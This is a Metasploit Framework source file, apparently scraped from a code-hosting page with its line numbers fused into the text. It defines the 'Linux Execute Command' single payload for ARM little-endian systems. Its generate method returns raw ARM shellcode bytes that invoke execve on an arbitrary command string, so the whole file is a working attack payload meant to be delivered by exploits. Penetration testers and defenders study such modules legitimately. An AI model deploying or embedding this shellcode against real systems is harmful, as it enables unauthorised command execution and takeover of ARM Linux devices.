Path: blob/master/modules/payloads/singles/linux/armle/exec.rb
21551 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45###6#7# Exec8# ----9#10# Executes an arbitrary command.11#12###13module MetasploitModule14CachedSize = 291516include Msf::Payload::Single17include Msf::Payload::Linux::Armle::Prepends1819def initialize(info = {})20super(21merge_info(22info,23'Name' => 'Linux Execute Command',24'Description' => 'Execute an arbitrary command',25'Author' => 'Jonathan Salwan',26'License' => MSF_LICENSE,27'Platform' => 'linux',28'Arch' => ARCH_ARMLE29)30)3132register_options(33[34OptString.new('CMD', [ true, 'The command string to execute' ]),35]36)37end3839def generate(_opts = {})40cmd = datastore['CMD'] || ''4142"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0a\x30" \43"\x01\x90\x01\xa9\x92\x1a\x0b\x27\x01\xdf" + cmd44end45end464748